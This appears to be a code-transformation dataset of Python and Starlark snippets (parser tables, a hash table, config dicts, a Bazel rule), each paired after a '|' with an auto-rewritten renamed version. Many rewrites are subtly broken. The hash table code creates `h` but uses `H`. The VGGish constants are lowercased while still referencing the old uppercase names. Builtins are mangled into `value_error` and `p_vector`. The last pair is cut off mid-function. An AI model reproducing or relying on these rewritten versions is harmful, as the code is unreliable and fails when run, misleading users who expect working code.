for (_x, _y) in zip(_v[0], _v[1]):
if not _x in _lr_action:
_lr_action[_x] = {}
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'facts_opt': ([1], [4]), 'nl_opt': ([0, 6], [1, 9]), 'comma_opt': ([23], [27]), 'data_list': ([8, 12], [16, 23]), 'file': ([0], [2]), 'facts': ([1], [6]), 'data': ([8, 12, 24, 26], [20, 20, 28, 28]), 'fact': ([1, 10], [7, 21])}
_lr_goto = {}
for (_k, _v) in _lr_goto_items.items():
for (_x, _y) in zip(_v[0], _v[1]):
if not _x in _lr_goto:
_lr_goto[_x] = {}
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [("S' -> file", "S'", 1, None, None, None), ('file -> nl_opt facts_opt', 'file', 2, 'p_file', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 36), ('facts_opt -> <empty>', 'facts_opt', 0, 'p_file', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 37), ('facts_opt -> facts nl_opt', 'facts_opt', 2, 'p_file', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 38), ('facts -> fact', 'facts', 1, 'p_file', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 39), ('facts -> facts NL_TOK fact', 'facts', 3, 'p_file', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 40), ('fact -> IDENTIFIER_TOK LP_TOK RP_TOK', 'fact', 3, 'p_fact0', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 45), ('fact -> IDENTIFIER_TOK LP_TOK data_list RP_TOK', 'fact', 4, 'p_fact1', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 49), ('data -> NONE_TOK', 'data', 1, 'p_none', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 53), ('comma_opt -> <empty>', 'comma_opt', 0, 'p_none', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 54), ('comma_opt -> ,', 'comma_opt', 1, 'p_none', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 55), ('nl_opt -> <empty>', 'nl_opt', 0, 'p_none', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 56), ('nl_opt -> NL_TOK', 'nl_opt', 1, 'p_none', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 57), ('data -> NUMBER_TOK', 'data', 1, 'p_number', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 62), ('data -> STRING_TOK', 'data', 1, 'p_string', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 67), ('data -> IDENTIFIER_TOK', 'data', 1, 'p_quoted_last', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 72), ('data -> FALSE_TOK', 'data', 1, 'p_false', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 77), ('data -> TRUE_TOK', 'data', 1, 'p_true', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 82), ('data -> LP_TOK RP_TOK', 'data', 2, 'p_empty_tuple', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 87), ('data_list -> data', 'data_list', 1, 'p_start_list', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 92), ('data_list -> data_list , data', 'data_list', 3, 'p_append_list', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 97), ('data -> LP_TOK data_list comma_opt RP_TOK', 'data', 4, 'p_tuple', '/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py', 103)] |
def funny_division(anumber):
try:
return 100 / anumber
except ZeroDivisionError:
return "Silly wabbit, you can't divide by zero!"
print(funny_division(0))
print(funny_division(50.0))
print(funny_division("hello"))
| def funny_division(anumber):
try:
return 100 / anumber
except ZeroDivisionError:
return "Silly wabbit, you can't divide by zero!"
print(funny_division(0))
print(funny_division(50.0))
print(funny_division('hello')) |
def extractNutty(item):
"""
"""
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or 'preview' in item['title'].lower():
return None
if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'a-generation-of-military-counselor-' in item['linkUrl']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'Record of Washed Grievances Chapter' in item['title']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'record-of-washed-grievances' in item['linkUrl']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'the-general-only-fears-the-maidens-escape' in item['linkUrl']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: The General Only Fears the Maiden\'s Escape', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and '/the-general-only-fear-the-maidens-escape-chapter' in item['linkUrl']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: The General Only Fears the Maiden\'s Escape', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and '/destined-marriage-with-fragrance-chapter-' in item['linkUrl']:
return buildReleaseMessageWithType(item, 'A mistaken marriage match: Destined Marriage With Fragrance', vol, chp, frag=frag, postfix=postfix)
if 'Destined Marriages With Fragrance Chapter' in item['title']:
return buildReleaseMessageWithType(item, 'Destined Marriage with Fragrance', vol, chp, frag=frag, postfix=postfix)
if item['tags'] == ['A Mistaken Marriage Match']:
titlemap = [
('DMSJ Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'),
('Destined Marriage Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'),
('Destined Marriage Of Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'),
('DMSJ: Ch ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'),
('DMSJ: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'),
('Destined Marriage With Fragrance ', 'A mistaken marriage match: Destined Marriage With Fragrance', 'translated'),
('Tensei Shoujo no Rirekisho', 'Tensei Shoujo no Rirekisho', 'translated'),
('Master of Dungeon', 'Master of Dungeon', 'oel'),
]
for titlecomponent, name, tl_type in titlemap:
if titlecomponent.lower() in item['title'].lower():
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False | def extract_nutty(item):
"""
"""
(vol, chp, frag, postfix) = extract_vol_chapter_fragment_postfix(item['title'])
if not (chp or vol) or 'preview' in item['title'].lower():
return None
if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']:
return build_release_message_with_type(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'a-generation-of-military-counselor-' in item['linkUrl']:
return build_release_message_with_type(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'Record of Washed Grievances Chapter' in item['title']:
return build_release_message_with_type(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'record-of-washed-grievances' in item['linkUrl']:
return build_release_message_with_type(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and 'the-general-only-fears-the-maidens-escape' in item['linkUrl']:
return build_release_message_with_type(item, "A mistaken marriage match: The General Only Fears the Maiden's Escape", vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and '/the-general-only-fear-the-maidens-escape-chapter' in item['linkUrl']:
return build_release_message_with_type(item, "A mistaken marriage match: The General Only Fears the Maiden's Escape", vol, chp, frag=frag, postfix=postfix)
if 'A Mistaken Marriage Match' in item['tags'] and '/destined-marriage-with-fragrance-chapter-' in item['linkUrl']:
return build_release_message_with_type(item, 'A mistaken marriage match: Destined Marriage With Fragrance', vol, chp, frag=frag, postfix=postfix)
if 'Destined Marriages With Fragrance Chapter' in item['title']:
return build_release_message_with_type(item, 'Destined Marriage with Fragrance', vol, chp, frag=frag, postfix=postfix)
if item['tags'] == ['A Mistaken Marriage Match']:
titlemap = [('DMSJ Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage Of Shang Jun: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('DMSJ: Ch ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('DMSJ: Chapter ', 'A mistaken marriage match: Destined Marriage Of Shang Jun', 'translated'), ('Destined Marriage With Fragrance ', 'A mistaken marriage match: Destined Marriage With Fragrance', 'translated'), ('Tensei Shoujo no Rirekisho', 'Tensei Shoujo no Rirekisho', 'translated'), ('Master of Dungeon', 'Master of Dungeon', 'oel')]
for (titlecomponent, name, tl_type) in titlemap:
if titlecomponent.lower() in item['title'].lower():
return build_release_message_with_type(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False |
with sqlite3.connect(DATABASE) as db:
db.execute(SQL_CREATE_TABLE)
db.executemany(SQL_INSERT, DATA)
result = list(db.execute(SQL_SELECT))
| with sqlite3.connect(DATABASE) as db:
db.execute(SQL_CREATE_TABLE)
db.executemany(SQL_INSERT, DATA)
result = list(db.execute(SQL_SELECT)) |
class HashTable:
def __init__(self):
self.size = 11
self.slots = [None] * self.size
self.data = [None] * self.size
def put(self, key, data):
hashvalue = self.hashfunction(key, len(self.slots))
if self.slots[hashvalue] == None:
self.slots[hashvalue] = key
self.data[hashvalue] = data
else:
if self.slots[hashvalue] == key:
self.data[hashvalue] = data # replace
else:
nextslot = self.rehash(hashvalue, len(self.slots))
while self.slots[nextslot] != None and self.slots[nextslot] != key:
nextslot = self.rehash(nextslot, len(self.slots))
if self.slots[nextslot] == None:
self.slots[nextslot] = key
self.data[nextslot] = data
else:
self.data[nextslot] = data # replace
def hashfunction(self, key, size):
return key % size
def rehash(self, oldhash, size):
return (oldhash + 1) % size
def get(self, key):
startslot = self.hashfunction(key, len(self.slots))
data = None
stop = False
found = False
position = startslot
while self.slots[position] != None and not found and not stop:
if self.slots[position] == key:
found = True
data = self.data[position]
else:
position = self.rehash(position, len(self.slots))
if position == startslot:
stop = True
return data
def __getitem__(self, key):
return self.get(key)
def __setitem__(self, key, data):
self.put(key, data)
H = HashTable()
H[11]="First?"
H[54] = "books"
H[54] = "data"
H[26] = "algorithms"
H[93] = "Hey"
H[17] = "DSA"
H[77] = "Rohan"
H[31] = "Laptop"
H[44] = "Hunting"
H[55] = "King"
H[20] = "Lion"
print(H.slots)
print(H.data)
print(H[20]) | class Hashtable:
def __init__(self):
self.size = 11
self.slots = [None] * self.size
self.data = [None] * self.size
def put(self, key, data):
hashvalue = self.hashfunction(key, len(self.slots))
if self.slots[hashvalue] == None:
self.slots[hashvalue] = key
self.data[hashvalue] = data
elif self.slots[hashvalue] == key:
self.data[hashvalue] = data
else:
nextslot = self.rehash(hashvalue, len(self.slots))
while self.slots[nextslot] != None and self.slots[nextslot] != key:
nextslot = self.rehash(nextslot, len(self.slots))
if self.slots[nextslot] == None:
self.slots[nextslot] = key
self.data[nextslot] = data
else:
self.data[nextslot] = data
def hashfunction(self, key, size):
return key % size
def rehash(self, oldhash, size):
return (oldhash + 1) % size
def get(self, key):
startslot = self.hashfunction(key, len(self.slots))
data = None
stop = False
found = False
position = startslot
while self.slots[position] != None and (not found) and (not stop):
if self.slots[position] == key:
found = True
data = self.data[position]
else:
position = self.rehash(position, len(self.slots))
if position == startslot:
stop = True
return data
def __getitem__(self, key):
return self.get(key)
def __setitem__(self, key, data):
self.put(key, data)
h = hash_table()
H[11] = 'First?'
H[54] = 'books'
H[54] = 'data'
H[26] = 'algorithms'
H[93] = 'Hey'
H[17] = 'DSA'
H[77] = 'Rohan'
H[31] = 'Laptop'
H[44] = 'Hunting'
H[55] = 'King'
H[20] = 'Lion'
print(H.slots)
print(H.data)
print(H[20]) |
src =Split('''
uData_sample.c
''')
component =aos_component('uDataapp', src)
dependencis =Split('''
tools/cli
framework/netmgr
framework/common
device/sensor
framework/uData
''')
for i in dependencis:
component.add_comp_deps(i)
global_includes =Split('''
.
''')
for i in global_includes:
component.add_global_includes(i)
includes =Split('''
./include
../../include/aos
../../include/hal
''')
for i in includes:
component.add_includes(i)
| src = split(' \n uData_sample.c\n')
component = aos_component('uDataapp', src)
dependencis = split(' \n tools/cli\n framework/netmgr\n framework/common\n device/sensor\n framework/uData\n')
for i in dependencis:
component.add_comp_deps(i)
global_includes = split(' \n .\n')
for i in global_includes:
component.add_global_includes(i)
includes = split(' \n ./include\n ../../include/aos\n ../../include/hal\n')
for i in includes:
component.add_includes(i) |
"""Global parameters for the VGGish model.
See vggish_slim.py for more information.
"""
# Architectural constants.
NUM_FRAMES = 50 # Frames in input mel-spectrogram patch.
NUM_BANDS = 64 # Frequency bands in input mel-spectrogram patch.
EMBEDDING_SIZE = 128 # Size of embedding layer.
# Hyperparameters used in feature and example generation.
SAMPLE_RATE = 16000
STFT_WINDOW_LENGTH_SECONDS = 0.040
STFT_HOP_LENGTH_SECONDS = 0.020
NUM_MEL_BINS = NUM_BANDS
MEL_MIN_HZ = 125
MEL_MAX_HZ = 7500
LOG_OFFSET = 0.01 # Offset used for stabilized log of input mel-spectrogram.
EXAMPLE_WINDOW_SECONDS = 1.00 # Each example contains 96 10ms frames
EXAMPLE_HOP_SECONDS = 1.00 # with zero overlap.
# Parameters used for embedding postprocessing.
PCA_EIGEN_VECTORS_NAME = 'pca_eigen_vectors'
PCA_MEANS_NAME = 'pca_means'
QUANTIZE_MIN_VAL = -2.0
QUANTIZE_MAX_VAL = +2.0
# Hyperparameters used in training.
INIT_STDDEV = 0.01 # Standard deviation used to initialize weights.
LEARNING_RATE = 1e-4 # Learning rate for the Adam optimizer.
ADAM_EPSILON = 1e-8 # Epsilon for the Adam optimizer.
# Names of ops, tensors, and features.
INPUT_OP_NAME = 'vggish/input_features'
INPUT_TENSOR_NAME = INPUT_OP_NAME + ':0'
OUTPUT_OP_NAME = 'vggish/embedding'
OUTPUT_TENSOR_NAME = OUTPUT_OP_NAME + ':0'
AUDIO_EMBEDDING_FEATURE_NAME = 'audio_embedding'
| """Global parameters for the VGGish model.
See vggish_slim.py for more information.
"""
num_frames = 50
num_bands = 64
embedding_size = 128
sample_rate = 16000
stft_window_length_seconds = 0.04
stft_hop_length_seconds = 0.02
num_mel_bins = NUM_BANDS
mel_min_hz = 125
mel_max_hz = 7500
log_offset = 0.01
example_window_seconds = 1.0
example_hop_seconds = 1.0
pca_eigen_vectors_name = 'pca_eigen_vectors'
pca_means_name = 'pca_means'
quantize_min_val = -2.0
quantize_max_val = +2.0
init_stddev = 0.01
learning_rate = 0.0001
adam_epsilon = 1e-08
input_op_name = 'vggish/input_features'
input_tensor_name = INPUT_OP_NAME + ':0'
output_op_name = 'vggish/embedding'
output_tensor_name = OUTPUT_OP_NAME + ':0'
audio_embedding_feature_name = 'audio_embedding' |
{
'name': 'Chapter 05, Recipe 1 code',
'summary': 'Report errors to the user',
'depends': ['base'],
}
| {'name': 'Chapter 05, Recipe 1 code', 'summary': 'Report errors to the user', 'depends': ['base']} |
config = {
"interfaces": {
"google.pubsub.v1.Subscriber": {
"retry_codes": {
"idempotent": ["ABORTED", "UNAVAILABLE", "UNKNOWN"],
"non_idempotent": ["UNAVAILABLE"],
"none": [],
},
"retry_params": {
"default": {
"initial_retry_delay_millis": 100,
"retry_delay_multiplier": 1.3,
"max_retry_delay_millis": 60000,
"initial_rpc_timeout_millis": 60000,
"rpc_timeout_multiplier": 1.0,
"max_rpc_timeout_millis": 60000,
"total_timeout_millis": 600000,
},
"messaging": {
"initial_retry_delay_millis": 100,
"retry_delay_multiplier": 1.3,
"max_retry_delay_millis": 60000,
"initial_rpc_timeout_millis": 25000,
"rpc_timeout_multiplier": 1.0,
"max_rpc_timeout_millis": 25000,
"total_timeout_millis": 600000,
},
"streaming_messaging": {
"initial_retry_delay_millis": 100,
"retry_delay_multiplier": 1.3,
"max_retry_delay_millis": 60000,
"initial_rpc_timeout_millis": 600000,
"rpc_timeout_multiplier": 1.0,
"max_rpc_timeout_millis": 600000,
"total_timeout_millis": 600000,
},
},
"methods": {
"CreateSubscription": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"GetSubscription": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"UpdateSubscription": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"ListSubscriptions": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"DeleteSubscription": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"ModifyAckDeadline": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"Acknowledge": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "messaging",
},
"Pull": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "messaging",
},
"StreamingPull": {
"timeout_millis": 900000,
"retry_codes_name": "none",
"retry_params_name": "streaming_messaging",
},
"ModifyPushConfig": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"ListSnapshots": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"CreateSnapshot": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"UpdateSnapshot": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"DeleteSnapshot": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"Seek": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"SetIamPolicy": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
"GetIamPolicy": {
"timeout_millis": 60000,
"retry_codes_name": "idempotent",
"retry_params_name": "default",
},
"TestIamPermissions": {
"timeout_millis": 60000,
"retry_codes_name": "non_idempotent",
"retry_params_name": "default",
},
},
}
}
}
| config = {'interfaces': {'google.pubsub.v1.Subscriber': {'retry_codes': {'idempotent': ['ABORTED', 'UNAVAILABLE', 'UNKNOWN'], 'non_idempotent': ['UNAVAILABLE'], 'none': []}, 'retry_params': {'default': {'initial_retry_delay_millis': 100, 'retry_delay_multiplier': 1.3, 'max_retry_delay_millis': 60000, 'initial_rpc_timeout_millis': 60000, 'rpc_timeout_multiplier': 1.0, 'max_rpc_timeout_millis': 60000, 'total_timeout_millis': 600000}, 'messaging': {'initial_retry_delay_millis': 100, 'retry_delay_multiplier': 1.3, 'max_retry_delay_millis': 60000, 'initial_rpc_timeout_millis': 25000, 'rpc_timeout_multiplier': 1.0, 'max_rpc_timeout_millis': 25000, 'total_timeout_millis': 600000}, 'streaming_messaging': {'initial_retry_delay_millis': 100, 'retry_delay_multiplier': 1.3, 'max_retry_delay_millis': 60000, 'initial_rpc_timeout_millis': 600000, 'rpc_timeout_multiplier': 1.0, 'max_rpc_timeout_millis': 600000, 'total_timeout_millis': 600000}}, 'methods': {'CreateSubscription': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'GetSubscription': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'UpdateSubscription': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'ListSubscriptions': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'DeleteSubscription': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'ModifyAckDeadline': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'Acknowledge': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'messaging'}, 'Pull': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'messaging'}, 'StreamingPull': {'timeout_millis': 900000, 'retry_codes_name': 'none', 'retry_params_name': 'streaming_messaging'}, 'ModifyPushConfig': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'ListSnapshots': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'CreateSnapshot': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'UpdateSnapshot': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'DeleteSnapshot': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'Seek': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'SetIamPolicy': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}, 'GetIamPolicy': {'timeout_millis': 60000, 'retry_codes_name': 'idempotent', 'retry_params_name': 'default'}, 'TestIamPermissions': {'timeout_millis': 60000, 'retry_codes_name': 'non_idempotent', 'retry_params_name': 'default'}}}}} |
class EntrySupport(object):
mixin = 'Entry'
class Reporter(object):
def __init__(self, model, subject=None):
if subject:
subject = subject.strip(':')
self.model = model
self.subject = subject
def __call__(self, tag, subject=None, entry=None, importance='normal', **aspects):
if subject:
subject = subject.strip(':')
if self.subject:
subject = '%s:%s' % (self.subject, subject)
elif self.subject:
subject = self.subject
else:
raise ValueError(subject)
return self.model.create(subject=subject, tag=tag, entry=entry,
importance=importance, aspects=aspects)
@classmethod
def reporter(cls, subject=None):
return cls.Reporter(cls, subject)
| class Entrysupport(object):
mixin = 'Entry'
class Reporter(object):
def __init__(self, model, subject=None):
if subject:
subject = subject.strip(':')
self.model = model
self.subject = subject
def __call__(self, tag, subject=None, entry=None, importance='normal', **aspects):
if subject:
subject = subject.strip(':')
if self.subject:
subject = '%s:%s' % (self.subject, subject)
elif self.subject:
subject = self.subject
else:
raise value_error(subject)
return self.model.create(subject=subject, tag=tag, entry=entry, importance=importance, aspects=aspects)
@classmethod
def reporter(cls, subject=None):
return cls.Reporter(cls, subject) |
class BouncingBall(object):
def __init__(self, x, y, dia, col):
self.location = PVector(x, y)
self.velocity = PVector(0, 0)
self.d = dia
self.col = col
self.gravity = 0.1
self.dx = 2
def move(self):
# self.location.x += self.dx
self.velocity.y += self.gravity
self.location.add(self.velocity)
self.location.x += self.dx
# check borders
if self.location.y >= height:
self.velocity.y *= -1
self.location.y = height
if self.location.x >= width:
self.location.x = width - self.d
self.dx *= -1
if (self.location.x <= 0):
self.location.x = 0
self.dx *= -1
def display(self):
fill(self.col)
ellipse(self.location.x, self.location.y, self.d, self.d)
| class Bouncingball(object):
def __init__(self, x, y, dia, col):
self.location = p_vector(x, y)
self.velocity = p_vector(0, 0)
self.d = dia
self.col = col
self.gravity = 0.1
self.dx = 2
def move(self):
self.velocity.y += self.gravity
self.location.add(self.velocity)
self.location.x += self.dx
if self.location.y >= height:
self.velocity.y *= -1
self.location.y = height
if self.location.x >= width:
self.location.x = width - self.d
self.dx *= -1
if self.location.x <= 0:
self.location.x = 0
self.dx *= -1
def display(self):
fill(self.col)
ellipse(self.location.x, self.location.y, self.d, self.d) |
# Copyright 2020 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Implementation of ObjC/Swift Intent library rule."""
load(
"@build_bazel_rules_apple//apple:providers.bzl",
"AppleSupportToolchainInfo",
)
load(
"@build_bazel_rules_apple//apple/internal:resource_actions.bzl",
"resource_actions",
)
load(
"@build_bazel_rules_apple//apple/internal:platform_support.bzl",
"platform_support",
)
load(
"@build_bazel_apple_support//lib:apple_support.bzl",
"apple_support",
)
load(
"@bazel_skylib//lib:dicts.bzl",
"dicts",
)
def _apple_intent_library_impl(ctx):
"""Implementation of the apple_intent_library."""
is_swift = ctx.attr.language == "Swift"
if not is_swift and not ctx.attr.header_name:
fail("A public header name is mandatory when generating Objective-C.")
swift_output_src = None
objc_output_srcs = None
objc_output_hdrs = None
objc_public_header = None
if is_swift:
swift_output_src = ctx.actions.declare_file("{}.swift".format(ctx.attr.name))
else:
objc_output_srcs = ctx.actions.declare_directory("{}.srcs.m".format(ctx.attr.name))
objc_output_hdrs = ctx.actions.declare_directory("{}.hdrs.h".format(ctx.attr.name))
objc_public_header = ctx.actions.declare_file("{}.h".format(ctx.attr.header_name))
platform_prerequisites = platform_support.platform_prerequisites(
apple_fragment = ctx.fragments.apple,
config_vars = ctx.var,
device_families = None,
disabled_features = ctx.disabled_features,
explicit_minimum_deployment_os = None,
explicit_minimum_os = None,
features = ctx.features,
objc_fragment = None,
platform_type_string = str(ctx.fragments.apple.single_arch_platform.platform_type),
uses_swift = False,
xcode_path_wrapper = ctx.executable._xcode_path_wrapper,
xcode_version_config = ctx.attr._xcode_config[apple_common.XcodeVersionConfig],
)
apple_toolchain_info = ctx.attr._toolchain[AppleSupportToolchainInfo]
resource_actions.generate_intent_classes_sources(
actions = ctx.actions,
input_file = ctx.file.src,
swift_output_src = swift_output_src,
objc_output_srcs = objc_output_srcs,
objc_output_hdrs = objc_output_hdrs,
objc_public_header = objc_public_header,
language = ctx.attr.language,
class_prefix = ctx.attr.class_prefix,
swift_version = ctx.attr.swift_version,
class_visibility = ctx.attr.class_visibility,
platform_prerequisites = platform_prerequisites,
resolved_xctoolrunner = apple_toolchain_info.resolved_xctoolrunner,
)
if is_swift:
return [
DefaultInfo(files = depset([swift_output_src])),
]
return [
DefaultInfo(
files = depset([objc_output_srcs, objc_output_hdrs, objc_public_header]),
),
OutputGroupInfo(
srcs = depset([objc_output_srcs]),
hdrs = depset([objc_output_hdrs, objc_public_header]),
),
]
apple_intent_library = rule(
implementation = _apple_intent_library_impl,
attrs = dicts.add(apple_support.action_required_attrs(), {
"src": attr.label(
allow_single_file = [".intentdefinition"],
mandatory = True,
doc = """
Label to a single `.intentdefinition` files from which to generate sources files.
""",
),
"language": attr.string(
mandatory = True,
values = ["Objective-C", "Swift"],
doc = "Language of generated classes (\"Objective-C\", \"Swift\")",
),
"class_prefix": attr.string(
doc = "Class prefix to use for the generated classes.",
),
"swift_version": attr.string(
doc = "Version of Swift to use for the generated classes.",
),
"class_visibility": attr.string(
values = ["public", "private", "project"],
default = "",
doc = "Visibility attribute for the generated classes (\"public\", \"private\", \"project\").",
),
"header_name": attr.string(
doc = "Name of the public header file (only when using Objective-C).",
),
"_toolchain": attr.label(
default = Label("@build_bazel_rules_apple//apple/internal:toolchain_support"),
providers = [[AppleSupportToolchainInfo]],
),
}),
output_to_genfiles = True,
fragments = ["apple"],
doc = """
This rule supports the integration of Intents `.intentdefinition` files into Apple rules.
It takes a single `.intentdefinition` file and creates a target that can be added as a dependency from `objc_library` or
`swift_library` targets. It accepts the regular `objc_library` attributes too.
This target generates a header named `<target_name>.h` that can be imported from within the package where this target
resides. For example, if this target's label is `//my/package:intent`, you can import the header as
`#import "my/package/intent.h"`.
""",
)
| """Implementation of ObjC/Swift Intent library rule."""
load('@build_bazel_rules_apple//apple:providers.bzl', 'AppleSupportToolchainInfo')
load('@build_bazel_rules_apple//apple/internal:resource_actions.bzl', 'resource_actions')
load('@build_bazel_rules_apple//apple/internal:platform_support.bzl', 'platform_support')
load('@build_bazel_apple_support//lib:apple_support.bzl', 'apple_support')
load('@bazel_skylib//lib:dicts.bzl', 'dicts')
def _apple_intent_library_impl(ctx):
"""Implementation of the apple_intent_library."""
is_swift = ctx.attr.language == 'Swift'
if not is_swift and (not ctx.attr.header_name):
fail('A public header name is mandatory when generating Objective-C.')
swift_output_src = None
objc_output_srcs = None
objc_output_hdrs = None
objc_public_header = None
if is_swift:
swift_output_src = ctx.actions.declare_file('{}.swift'.format(ctx.attr.name))
else:
objc_output_srcs = ctx.actions.declare_directory('{}.srcs.m'.format(ctx.attr.name))
objc_output_hdrs = ctx.actions.declare_directory('{}.hdrs.h'.format(ctx.attr.name))
